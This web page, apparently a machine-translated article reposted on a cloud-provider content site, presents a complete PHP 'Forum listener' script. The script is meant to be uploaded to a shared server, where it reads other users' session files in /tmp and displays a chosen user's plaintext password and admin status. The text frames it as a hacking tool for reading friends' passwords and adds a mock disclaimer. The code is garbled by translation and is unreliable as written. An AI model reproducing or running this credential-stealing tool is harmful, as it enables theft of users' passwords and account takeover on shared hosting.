Php functions for viewing session content

Source: Internet
Author: User

For example: name | s: 4: "tasm"; passwd | s: 6: "111111"; mode | s: 1: "1", you also know the location where the session is stored, in addition, files can be uploaded. So, at that time, a small hacker was created, and the passwords of online friends could be kept at a glance:
<?
Function submit1 (){
Global $ username;
Print "<title> Forum listener </title> ";
$ I = 0;
If ($ username = "tasm" | $ username = "Tasm ")
{
Print "are you too dark? Even me? ";
Return;
}
$ Path = "/tmp /";
$ D = dir ($ path );
While ($ entry = $ d-> read ()){
If (substr ($ entry, 0, 4) = "sess "){
$ Entry = $ path. $ entry;
$ Ary = @ file ($ entry );
If (! Empty ($ ary [0]) {
$ Ary = explode (";", $ ary [0]);
$ Name = explode (":", $ ary [0]);
If ($ name [2] = "\" ". $ username ."\""){
$ Passwd = explode (":", $ ary [1]);
$ Mode = explode (":", $ ary [3]);
Print "User pen name:". $ name [2]. "<br> password:". $ passwd [2]. "<br> usage mode :";
If ($ mode [1] = 1)
Print "<font color = red> administrator </font> ";
Else
Print "normal user ";
Print "<br> stealing others' passwords is immoral. <br> ";
$ I = 1;
Break;
}}}}
If (! $ I)
Print "User:". $ username. "Is it online? If you are sure, <a href = 'javascript: history. go (-1) '> Please try again </a>. Do not open any spaces! ";
$ D-> close ();
}

Function login (){
?>
<Html>
<Head>
<Title> Forum listener </title>
<Meta http-equiv = "Content-Type" content = "text/html; charset = gb2312">
</Head>
<Body bgcolor = "# FFFFFF">
<Div align = "center">
<P> Forum listener </p>
<P> </p>
<Table width = "500" border = "0" cellspacing = "0" cellpadding = "0">
<Tr>
<Td colspan = "2"> what do you do if you want to view a user's password when they are online? </Td>
</Tr>
<Tr>
<Td colspan = "2"> let me tell you that this program is used. </Td>
</Tr>
<Tr>
<Td colspan = "2"> <font color = red> solemnly declare that this program is a free program and is not responsible for any losses caused by it. </Font>
<Br> however, this issue may soon be blocked, so do not use it without publicity. </Td>
</Tr>
</Table>
<Form name = "form1" method = "post" action = "<? Print $ PHP_SELF?> ">
<P> enter the user name you want to query: <br>
<Input type = "text" name = "username">
</P>
<P>
<Input type = "submit" name = "submit1" value = "I agree with the above statement and start searching">
</P>
</Form>
<P> </p>
</Div>
</Body>
</Html>
<?
}
// -------------- Main ()
If ($ submit1)
Submit1 ();
Else
Login ();
?>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.